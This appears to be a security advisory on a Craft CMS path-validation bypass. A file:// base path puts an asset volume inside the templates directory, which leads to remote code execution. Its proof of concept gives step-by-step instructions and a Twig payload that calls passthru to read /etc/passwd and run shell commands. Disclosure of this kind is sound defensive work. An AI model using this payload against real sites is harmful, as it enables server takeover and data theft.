Craft CMS vulnerable to Remote Code Execution via validatePath bypass

Summary

Bypassing the validatePath function can lead to potential Remote Code Execution
(Post-authentication, ALLOW_ADMIN_CHANGES=true)

Details

In bootstrap.php, the SystemPaths path is set as below.

// Set the vendor path. By default assume that it's 4 levels up from here
$vendorPath = $findConfigPath('--vendorPath', 'CRAFT_VENDOR_PATH') ?? dirname(__DIR__, 3);

// Set the "project root" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/.
$rootPath = $findConfigPath('--basePath', 'CRAFT_BASE_PATH') ?? dirname($vendorPath);

// By default the remaining directories will be in the base directory
$dotenvPath = $findConfigPath('--dotenvPath', 'CRAFT_DOTENV_PATH') ?? "$rootPath/.env";
$configPath = $findConfigPath('--configPath', 'CRAFT_CONFIG_PATH') ?? "$rootPath/config";
$contentMigrationsPath = $findConfigPath('--contentMigrationsPath', 'CRAFT_CONTENT_MIGRATIONS_PATH') ?? "$rootPath/migrations";
$storagePath = $findConfigPath('--storagePath', 'CRAFT_STORAGE_PATH') ?? "$rootPath/storage";
$templatesPath = $findConfigPath('--templatesPath', 'CRAFT_TEMPLATES_PATH') ?? "$rootPath/templates";
$translationsPath = $findConfigPath('--translationsPath', 'CRAFT_TRANSLATIONS_PATH') ?? "$rootPath/translations";
$testsPath = $findConfigPath('--testsPath', 'CRAFT_TESTS_PATH') ?? "$rootPath/tests";

Because paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir()

    /**
     * @param string $attribute
     * @param array|null $params
     * @param InlineValidator $validator
     * @return void
     * @since 4.4.6
     */
    public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
    {
        // Make sure it’s not within any of the system directories
        $path = FileHelper::absolutePath($this->getRootPath(), '/');

        $systemDirs = Craft::$app->getPath()->getSystemPaths();

        foreach ($systemDirs as $dir) {
            $dir = FileHelper::absolutePath($dir, '/');
            if (str_starts_with("$path/", "$dir/")) {
                $validator->addError($this, $attribute, Craft::t('app', 'Local volumes cannot be located within system directories.'));
                break;
            }
        }
    }

ref. https://www.php.net/manual/en/wrappers.file.php

PoC

1. Create a new filesystem. Base Path: file:///var/www/html/templates

2. Create a new asset volume. Asset Filesystem: local_bypass

3. Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates

{{'<pre>'}}
{{1337*1337}}
{{['cat /etc/passwd']|map('passthru')|join}}
{{['id;pwd;ls -altr /']|map('passthru')|join}}

4. Create a new route. URI: * , Template: poc.ttml

5. Confirm RCE on arbitrary path ( /* )

PoC Env

Impact

Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.

although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)